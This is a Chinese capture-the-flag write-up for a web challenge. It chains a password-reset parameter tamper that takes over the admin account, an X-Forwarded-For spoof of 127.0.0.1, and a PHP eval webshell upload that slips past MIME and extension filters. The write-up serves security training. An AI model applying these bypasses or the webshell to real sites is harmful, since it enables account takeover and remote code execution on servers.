攻防世界——bug

打开靶机后发现是一个登录界面

尝试用admin登录试试

失败了,返回错误了

那就用register模块随便注册一个账号进去看看

创建了一个uid为5的账号

回去用刚才的账号密码登录

把每个模块都点一下

发现manage模块需要管理员权限

在personal页面中发现url参数中uid=5 明确指向当前用户的ID,且为整数型参数,无加密 / 混淆。

我们可以尝试水平越权访问

修改 uid 为1(uid=1「管理员默认 ID」、uid=2/3/4「其他普通用户」)

构造payload

index.php?module=index&do=member&uid=1

访问发现被过滤了

在Change Pwd中发现可以修改密码

我们尝试一下越权修改 / 绕过验证

用burp抓包

修改「请求 URL」和「POST 数据」

发现直接报错了,看来也是被过滤了

这里似乎僵住了,但一开始在登录界面中,不仅有注册,还有一个特殊的找回密码

回到findpwd模块

填上我们刚刚注册的信息后点击verify

写入新密码后我们用burp抓取这个包观察一下

发现在提交新密码的包中,同时还有用户名和新密码

也就是说,此时如果我们把包的 username 变量修改为 admin,此时放包之后相当于修改 admin 用户的密码了。

把uesrname=123改为username=admin,然后放包

成功登录

但访问manage模块还是被拦截了,ip不符

那就把ip改为本地登录(127.0.0.1)

添加本地访问文件头(X-Forwarded-For:127.0.0.1)

但是还是没有flag

查看一下响应包中的源代码后发现有一段提示

<!-- index.php?module=filemanage&do=???-->

也就是说我们可以对这个网页进行一些操作

ctf的web中就涉及几个知识点:XSS、Upload、SQL注入、SSRF

挨个尝试,发现是upload

先建立一个php文件,上传一句话木马

<?php @eval($_POST['rc'];?>

点击upload上传

发现有过滤,被检测出是php文件

修改Content-Type

服务器端MIME绕过
MIME检测的是数据包content-type字段。常见的图片格式的MIME类型有以下 几种类型:
PNG图像:image/png 
GIF图形: image/gif 
JPG图形:image/jpeg

发现还是被过滤了

说明后端还会再检测一遍

有些网页会在后端过滤php格式(<?)

可利用script代码中的script language=""参数传入php代码

修改php文件,使用JS执行PHP代码

修改后缀

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

这里我们可以用php3

上传后抓包修改修改Content-Type

发包

成功获得flag

RCTF{Bug_@-EveryWh3re}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值